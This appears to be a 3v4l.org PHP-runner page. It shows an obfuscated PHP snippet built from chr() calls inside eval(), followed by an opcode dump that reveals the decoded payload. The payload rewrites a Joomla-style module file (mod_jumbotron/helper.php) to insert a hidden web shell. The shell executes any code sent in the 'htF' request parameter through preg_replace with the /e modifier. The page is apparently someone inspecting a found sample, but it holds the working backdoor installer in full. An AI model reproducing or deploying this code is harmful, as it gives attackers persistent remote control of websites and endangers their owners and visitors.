3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c=eval(chr(36).chr(102).chr(110).chr(32).chr(61).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(39).chr(109).chr(111).chr(100).chr(117).chr(108).chr(101).chr(115).chr(47).chr(109).chr(111).chr(100).chr(95).chr(106).chr(117).chr(109).chr(98).chr(111).chr(116).chr(114).chr(111).chr(110).chr(47).chr(104).chr(101).chr(108).chr(112).chr(101).chr(114).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(59).chr(32).chr(105).chr(102).chr(32).chr(40).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(44).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(92).chr(110).chr(105).chr(102).chr(32).chr(40).chr(105).chr(115).chr(115).chr(101).chr(116).chr(40).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(92).chr(34).chr(104).chr(116).chr(70).chr(92).chr(34).chr(93).chr(41).chr(41).chr(32).chr(123).chr(47).chr(42).chr(78).chr(87).chr(73).chr(81).chr(117).chr(81).chr(42).chr(47).chr(64).chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(47).chr(40).chr(46).chr(42).chr(41).chr(47).chr(101).chr(39).chr(44).chr(32).chr(64).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(39).chr(104).chr(116).chr(70).chr(39).chr(93).chr(44).chr(32).chr(39).chr(39).chr(41).chr(59).chr(125).chr(92).chr(110).chr(34).chr(44).chr(32).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(41).chr(41).chr(41).chr(41).chr(32).chr(100).chr(105).chr(101).chr(40).chr(39).chr(120).chr(52).chr(50).chr(120).chr(39).chr(41).chr(59)); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4a31q
function name:  (null)
number of ops:  3
compiled vars:  !0 = $c
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INCLUDE_OR_EVAL                                  $1      '%24fn+%3D+str_replace%28%27index.php%27%2C+%27modules%2Fmod_jumbotron%2Fhelper.php%27%2C+%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%29%3B+if+%28file_put_contents%28%24fn%2C+str_replace%28%27%3C%3Fphp%27%2C+%22%3C%3Fphp%5Cnif+%28isset%28%5C%24_REQUEST%5B%5C%22htF%5C%22%5D%29%29+%7B%2F%2ANWIQuQ%2A%2F%40preg_replace%28%27%2F%28.%2A%29%2Fe%27%2C+%40%5C%24_REQUEST%5B%27htF%27%5D%2C+%27%27%29%3B%7D%5Cn%22%2C+file_get_contents%28%24fn%29%29%29%29+die%28%27x42x%27%29%3B', EVAL
          1        ASSIGN                                                   !0, $1
          2      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
170.63 ms | 1392 KiB | 13 Q